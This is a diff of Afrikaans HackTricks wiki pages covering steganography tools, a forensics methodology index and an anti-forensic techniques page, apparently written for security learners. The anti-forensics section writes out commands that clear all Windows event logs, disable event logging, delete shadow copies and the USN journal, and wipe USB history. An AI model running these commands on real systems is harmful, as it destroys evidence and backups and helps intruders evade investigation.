### **Strings**
|
||||
|
||||
Onttrek leesbare strings uit lêers, deur verskillende enkoderingsinstellings te gebruik om die uitset te filter.
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
strings -n 6 file | tail -n 20 # Last 20 strings
|
||||
strings -e s -n 6 file # 7bit strings
|
||||
strings -e S -n 6 file # 8bit strings
|
||||
strings -e l -n 6 file # 16bit strings (little-endian)
|
||||
strings -e b -n 6 file # 16bit strings (big-endian)
|
||||
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||
```
|
||||
### **Vergelyking (cmp)**
|
||||
|
||||
Nuttig vir die vergelyking van 'n gewysigde lêer met sy oorspronklike weergawe wat aanlyn gevind is.
|
||||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## **Uithaling van Versteekte Data in Teks**
|
||||
|
||||
### **Versteekte Data in Spasies**
|
||||
|
||||
Onsigbare karakters in ogenschijnlik leë spasies kan inligting verberg. Om hierdie data te onttrek, besoek [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
|
||||
## **Uithaling van Data uit Beelde**
|
||||
|
||||
### **Identifisering van Beelddetails met GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) dien om beeldlêertipes te bepaal en potensiële korruptie te identifiseer. Voer die onderstaande bevel uit om 'n beeld te inspekteer:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
Om 'n beskadigde beeld te probeer herstel, kan dit help om 'n metadata opmerking by te voeg:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghide vir Data Versteek**
|
||||
|
||||
Steghide fasiliteer die versteek van data binne `JPEG, BMP, WAV, en AU` lêers, in staat om versleutelde data in te bed en te onttrek. Installasie is maklik met behulp van `apt`, en sy [bronkode is beskikbaar op GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**Opdragte:**
|
||||
|
||||
* `steghide info lêer` onthul of 'n lêer verskuilde data bevat.
|
||||
* `steghide extract -sf lêer [--wagwoord wagwoord]` onttrek die verskuilde data, wagwoord is opsioneel.
|
||||
|
||||
Vir web-gebaseerde onttrekking, besoek [hierdie webwerf](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
**Bruteforce Aanval met Stegcracker:**
|
||||
|
||||
* Om wagwoordkraakpogings op Steghide te doen, gebruik [stegcracker](https://github.com/Paradoxis/StegCracker.git) soos volg:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
### **zsteg vir PNG en BMP-lêers**
|
||||
|
||||
zsteg spesialiseer daarin om verskuilde data in PNG- en BMP-lêers bloot te lê. Installasie word gedoen deur `gem install zsteg`, met sy [bron op GitHub](https://github.com/zed-0xff/zsteg).
|
||||
|
||||
**Opdragte:**
|
||||
|
||||
* `zsteg -a lêer` pas alle opsporingmetodes op 'n lêer toe.
|
||||
* `zsteg -E lêer` spesifiseer 'n nuttelading vir data-ekstraksie.
|
||||
|
||||
### **StegoVeritas en Stegsolve**
|
||||
|
||||
**stegoVeritas** ondersoek metadata, voer beeldtransformasies uit, en pas LSB-brute forcing onder andere kenmerke toe. Gebruik `stegoveritas.py -h` vir 'n volledige lys van opsies en `stegoveritas.py stego.jpg` om alle kontroles uit te voer.
|
||||
|
||||
**Stegsolve** pas verskeie kleurfilters toe om verskuilde teks of boodskappe binne beelde te onthul. Dit is beskikbaar op [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
|
||||
### **FFT vir Verskuilde Inhoudsdeteksie**
|
||||
|
||||
Fast Fourier Transform (FFT) tegnieke kan verskuilde inhoud in beelde onthul. Nuttige bronne sluit in:
|
||||
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [FFTStegPic op GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **Stegpy vir Klank- en Beeldlêers**
|
||||
|
||||
Stegpy maak dit moontlik om inligting in beeld- en klanklêers in te bed, met ondersteuning vir formate soos PNG, BMP, GIF, WebP, en WAV. Dit is beskikbaar op [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
|
||||
### **Pngcheck vir PNG-lêerontleding**
|
||||
|
||||
Om PNG-lêers te ontleed of hul egtheid te valideer, gebruik:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **Addisionele Gereedskap vir Beeldanalise**
|
||||
|
||||
Vir verdere verkenning, oorweeg om die volgende webwerwe te besoek:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **Data Uithaal uit Klanklêers**
|
||||
|
||||
**Audiosteganografie** bied 'n unieke metode om inligting binne klanklêers te verberg. Verskillende gereedskap word gebruik vir die inbedding of herwinning van verborge inhoud.
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide is 'n veelsydige gereedskap wat ontwerp is om data in JPEG, BMP, WAV, en AU lêers te verberg. Gedetailleerde instruksies word verskaf in die [stego-tricks dokumentasie](stego-tricks.md#steghide).
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
Hierdie gereedskap is verenigbaar met 'n verskeidenheid formate, insluitend PNG, BMP, GIF, WebP, en WAV. Vir meer inligting, verwys na [Stegpy se afdeling](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpeg is noodsaaklik vir die assessering van die integriteit van klanklêers, waarby gedetailleerde inligting uitgelig word en enige teenstrydighede aangedui word.
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavSteg blink uit in die verberging en onttrekking van data binne WAV-lêers deur die gebruik van die minst betekenisvolle bit-strategie. Dit is toeganklik op [GitHub](https://github.com/ragibson/Steganography#WavSteg). Opdragte sluit in:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
||||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound maak dit moontlik om inligting binne klanklêers te versleutel en op te spoor met behulp van AES-256. Dit kan afgelaai word vanaf [die amptelike bladsy](http://jpinsoft.net/deepsound/download.aspx).
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
'n Onbetaalbare instrument vir visuele en analitiese inspeksie van klanklêers, Sonic Visualizer kan verborge elemente onthul wat nie deur ander metodes opgespoor kan word nie. Besoek die [ampstelike webwerf](https://www.sonicvisualiser.org/) vir meer inligting.
|
||||
|
||||
### **DTMF-tone - Kies-tone**
|
||||
|
||||
Die opsporing van DTMF-tone in klanklêers kan bereik word deur aanlynhulpmiddels soos [hierdie DTMF-detektor](https://unframework.github.io/dtmf-detect/) en [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Ander Tegnieke**
|
||||
|
||||
### **Binêre Lengte SQRT - QR-kode**
|
||||
|
||||
Binêre data wat tot 'n heelgetal kwadreer, kan 'n QR-kode verteenwoordig. Gebruik hierdie snipper om te kontroleer:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
### **Braille Vertaling**
|
||||
|
||||
Vir die vertaling van Braille, is die [Branah Braille Translator](https://www.branah.com/braille-translator) 'n uitstekende bron.
|
||||
|
||||
## **Verwysings**
|
||||
|
||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Probeer Hard Security Groep**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,102 @@
|
|||
# Basiese Forensiese Metodologie
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Skep en Monteer 'n Beeld
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %}
|
||||
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Malware-analise
|
||||
|
||||
Dit is **nie noodwendig die eerste stap om uit te voer nadat jy die beeld het nie**. Maar jy kan hierdie malware-analise tegnieke onafhanklik gebruik as jy 'n lêer, 'n lêerstelselbeeld, geheuebeeld, pcap... het, so dit is goed om **hierdie aksies in gedagte te hou**:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Inspekteer 'n Beeld
|
||||
|
||||
As jy 'n **forensiese beeld** van 'n toestel gekry het, kan jy begin **analiseer die partisies, lêerstelsel** wat gebruik word en **herwin** potensieel **interessante lêers** (selfs uitgewisde lêers). Leer hoe om dit te doen:
|
||||
|
||||
{% content-ref url="partitions-file-systems-carving/" %}
|
||||
[partitions-file-systems-carving](partitions-file-systems-carving/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Afhanklik van die gebruikte bedryfstelsels en selfs platforms moet verskillende interessante artefakte gesoek word:
|
||||
|
||||
{% content-ref url="windows-forensics/" %}
|
||||
[windows-forensics](windows-forensics/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="linux-forensics.md" %}
|
||||
[linux-forensics.md](linux-forensics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="docker-forensics.md" %}
|
||||
[docker-forensics.md](docker-forensics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Diep inspeksie van spesifieke lêertipes en sagteware
|
||||
|
||||
As jy 'n baie **verdagte lêer** het, dan kan verskeie **truuks** nuttig wees, afhangende van die lêertipe en sagteware wat dit geskep het.\
|
||||
Lees die volgende bladsy om 'n paar interessante truuks te leer:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/" %}
|
||||
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Ek wil 'n spesiale vermelding maak van die bladsy:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
|
||||
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Geheue-uitstorting-inspeksie
|
||||
|
||||
{% content-ref url="memory-dump-analysis/" %}
|
||||
[memory-dump-analysis](memory-dump-analysis/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Pcap-inspeksie
|
||||
|
||||
{% content-ref url="pcap-inspection/" %}
|
||||
[pcap-inspection](pcap-inspection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Anti-Forensiese Tegnieke**
|
||||
|
||||
Hou moontlike gebruik van anti-forensiese tegnieke in gedagte:
|
||||
|
||||
{% content-ref url="anti-forensic-techniques.md" %}
|
||||
[anti-forensic-techniques.md](anti-forensic-techniques.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bedreigingsjag
|
||||
|
||||
{% content-ref url="file-integrity-monitoring.md" %}
|
||||
[file-integrity-monitoring.md](file-integrity-monitoring.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,173 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Tydstempels
|
||||
|
||||
'n Aanvaller mag belangstel om die tydstempels van lêers te **verander** om opsporing te vermy.\
|
||||
Dit is moontlik om die tydstempels binne die MFT in eienskappe `$STANDARD_INFORMATION` __ en __ `$FILE_NAME` te vind.
|
||||
|
||||
Beide eienskappe het 4 tydstempels: **Wysiging**, **toegang**, **skepping**, en **MFT-registervoortgangswysiging** (MACE of MACB).
|
||||
|
||||
**Windows verkenner** en ander gereedskap wys die inligting vanaf **`$STANDARD_INFORMATION`**.
|
||||
|
||||
## TimeStomp - Anti-forensiese Gereedskap
|
||||
|
||||
Hierdie gereedskap **verander** die tydstempelinligting binne **`$STANDARD_INFORMATION`** **maar nie** die inligting binne **`$FILE_NAME`** nie. Daarom is dit moontlik om **verdagte aktiwiteit te identifiseer**.
|
||||
|
||||
## Usnjrnl
|
||||
|
||||
Die **USN Joernaal** (Update Sequence Number Journal) is 'n kenmerk van die NTFS (Windows NT-lêersisteem) wat volume-veranderinge byhou. Die [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) gereedskap maak dit moontlik om hierdie veranderinge te ondersoek.
|
||||
|
||||
![](<../../.gitbook/assets/image (449).png>)
|
||||
|
||||
Die vorige prentjie is die **uitset** wat deur die **gereedskap** gewys word waar dit waargeneem kan word dat sommige **veranderinge aan die lêer uitgevoer is**.
|
||||
|
||||
## $LogFile
|
||||
|
||||
**Alle metadata-veranderinge aan 'n lêersisteem word gelog** in 'n proses wat bekend staan as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Die gelogde metadata word in 'n lêer genaamd `**$LogFile**` gehou, wat in die hoofgids van 'n NTFS-lêersisteem geleë is. Gereedskap soos [LogFileParser](https://github.com/jschicht/LogFileParser) kan gebruik word om hierdie lêer te ontled en veranderinge te identifiseer.
|
||||
|
||||
![](<../../.gitbook/assets/image (450).png>)
|
||||
|
||||
Weereens, in die uitset van die gereedskap is dit moontlik om te sien dat **sommige veranderinge uitgevoer is**.
|
||||
|
||||
Met dieselfde gereedskap is dit moontlik om te identifiseer **watter tyd die tydstempels verander is**:
|
||||
|
||||
![](<../../.gitbook/assets/image (451).png>)
|
||||
|
||||
* CTIME: Lêer se skeppingstyd
|
||||
* ATIME: Lêer se wysigingstyd
|
||||
* MTIME: Lêer se MFT-registervoortgangswysiging
|
||||
* RTIME: Lêer se toegangstyd
|
||||
|
||||
## Vergelyking van `$STANDARD_INFORMATION` en `$FILE_NAME`
|
||||
|
||||
'n Ander manier om verdagte gewysigde lêers te identifiseer, sou wees om die tyd in beide eienskappe te vergelyk en te soek na **verskille**.
|
||||
|
||||
## Nanosekondes
|
||||
|
||||
**NTFS**-tydstempels het 'n **presisie** van **100 nanosekondes**. Om dan lêers met tydstempels soos 2010-10-10 10:10:**00.000:0000 te vind, is baie verdag**.
|
||||
|
||||
## SetMace - Anti-forensiese Gereedskap
|
||||
|
||||
Hierdie gereedskap kan beide eienskappe `$STARNDAR_INFORMATION` en `$FILE_NAME` verander. Vanaf Windows Vista is dit egter nodig vir 'n lewendige bedryfstelsel om hierdie inligting te verander.
|
||||
|
||||
# Data Versteek
|
||||
|
||||
NFTS gebruik 'n groep en die minimum inligtingsgrootte. Dit beteken dat as 'n lêer 'n groep en 'n half gebruik, sal die **oorskietende helfte nooit gebruik word nie** totdat die lêer uitgevee word. Dit is dan moontlik om data in hierdie "verborge" spasie te **versteek**.
|
||||
|
||||
Daar is gereedskap soos slacker wat dit moontlik maak om data in hierdie "verborge" spasie te versteek. 'n Ontleding van die `$logfile` en `$usnjrnl` kan egter wys dat daar data bygevoeg is:
|
||||
|
||||
![](<../../.gitbook/assets/image (452).png>)
|
||||
|
||||
Dit is dan moontlik om die spasie te herwin deur gereedskap soos FTK Imager te gebruik. Let daarop dat hierdie soort gereedskap die inhoud geobskureer of selfs versleutel kan stoor.
|
||||
|
||||
# UsbKill
|
||||
|
||||
Dit is 'n gereedskap wat die rekenaar sal **afskakel as enige verandering in die USB-poorte** opgespoor word.\
|
||||
'n Manier om dit te ontdek sou wees om die lopende prosesse te ondersoek en **elke python-skripsie wat loop te hersien**.
|
||||
|
||||
# Lewende Linux-verspreidings
|
||||
|
||||
Hierdie verspreidings word **uitgevoer binne die RAM-geheue**. Die enigste manier om hulle op te spoor is **as die NTFS-lêersisteem met skryfregte aangeheg is**. As dit net met leesregte aangeheg is, sal dit nie moontlik wees om die indringing op te spoor nie.
|
||||
|
||||
# Veilige Skrapping
|
||||
|
||||
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
|
||||
|
||||
# Windows-konfigurasie
|
||||
|
||||
Dit is moontlik om verskeie Windows-loggingsmetodes uit te skakel om die forensiese ondersoek baie moeiliker te maak.
|
||||
|
||||
## Skakel Tydstempels Af - UserAssist
|
||||
|
||||
Dit is 'n registerleutel wat datums en ure behou wanneer elke uitvoerbare lêer deur die gebruiker uitgevoer is.
|
||||
|
||||
Om UserAssist uit te skakel, is twee stappe nodig:
|
||||
|
||||
1. Stel twee registerleutels, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` en `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, beide op nul om aan te dui dat ons UserAssist wil uitskakel.
|
||||
2. Wis jou register-subbome wat lyk soos `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
|
||||
|
||||
## Skakel Tydstempels Af - Prefetch
|
||||
|
||||
Dit sal inligting oor die uitgevoerde toepassings stoor met die doel om die prestasie van die Windows-stelsel te verbeter. Dit kan egter ook nuttig wees vir forensiese praktyke.
|
||||
|
||||
* Voer `regedit` uit
|
||||
* Kies die lêerpad `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||
* Regskliek op beide `EnablePrefetcher` en `EnableSuperfetch`
|
||||
* Kies Wysig op elkeen van hierdie om die waarde van 1 (of 3) na 0 te verander
|
||||
* Herlaai
|
||||
|
||||
## Skakel Tydstempels Af - Laaste Toegangstyd
|
||||
|
||||
Telkens wanneer 'n gids vanaf 'n NTFS-volume op 'n Windows NT-bediener geopen word, neem die stelsel die tyd om 'n tydstempelveld op elke gelysde gids op te dateer, genaamd die laaste toegangstyd. Op 'n baie gebruikte NTFS-volume kan dit die prestasie beïnvloed.
|
||||
|
||||
1. Maak die Registerredigeerder (Regedit
|
||||
## Verwyder USB Geskiedenis
|
||||
|
||||
Al die **USB-toestelinskrywings** word gestoor in die Windows-registreerder onder die **USBSTOR**-registreersleutel wat sub-sleutels bevat wat geskep word wanneer jy 'n USB-toestel in jou rekenaar of draagbare rekenaar steek. Jy kan hierdie sleutel vind by H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deur dit te verwyder**, sal jy die USB-geskiedenis verwyder.\
|
||||
Jy kan ook die hulpmiddel [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) gebruik om seker te maak dat jy hulle verwyder het (en om hulle te verwyder).
|
||||
|
||||
'n Ander lêer wat inligting oor die USB's stoor, is die lêer `setupapi.dev.log` binne `C:\Windows\INF`. Dit moet ook verwyder word.
|
||||
|
||||
## Deaktiveer Skaduwee Kopieë
|
||||
|
||||
**Lys** skaduwee kopieë met `vssadmin list shadowstorage`\
|
||||
**Verwyder** hulle deur `vssadmin delete shadow` uit te voer
|
||||
|
||||
Jy kan hulle ook via die GUI verwyder deur die stappe te volg wat voorgestel word in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||
|
||||
Om skaduwee kopieë te deaktiveer [stappe vanaf hier](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. Maak die Dienste-program oop deur "dienste" in die tekssoekkasie in te tik nadat jy op die Windows-beginknoppie geklik het.
|
||||
2. Vind "Volume Shadow Copy" in die lys, kies dit, en kry toegang tot Eienskappe deur regs te klik.
|
||||
3. Kies "Gedeaktiveer" uit die "Beginsoort" keuselys, en bevestig dan die verandering deur op Toepas en OK te klik.
|
||||
|
||||
Dit is ook moontlik om die konfigurasie te wysig van watter lêers in die skaduwee kopie gekopieer gaan word in die register `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
|
||||
## Oorskryf verwyderde lêers
|
||||
|
||||
* Jy kan 'n **Windows-hulpmiddel** gebruik: `cipher /w:C` Dit sal cipher aandui om enige data van die beskikbare ongebruikte skyfspasie binne die C-aandryf te verwyder.
|
||||
* Jy kan ook hulpmiddels soos [**Eraser**](https://eraser.heidi.ie) gebruik
|
||||
|
||||
## Verwyder Windows-gebeurtenislogboeke
|
||||
|
||||
* Windows + R --> eventvwr.msc --> Brei "Windows-logboeke" uit --> Regskliek op elke kategorie en kies "Logboek skoonmaak"
|
||||
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||
|
||||
## Deaktiveer Windows-gebeurtenislogboeke
|
||||
|
||||
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
* Deaktiveer die diens "Windows Event Log" binne die dienste-afdeling
|
||||
* `WEvtUtil.exec clear-log` of `WEvtUtil.exe cl`
|
||||
|
||||
## Deaktiveer $UsnJrnl
|
||||
|
||||
* `fsutil usn deletejournal /d c:`
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,119 @@
|
|||
# Docker Forensika
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Houer-wysiging
|
||||
|
||||
Daar is vermoedens dat 'n sekere Docker-houer gekompromitteer is:
|
||||
```bash
|
||||
docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
||||
```
|
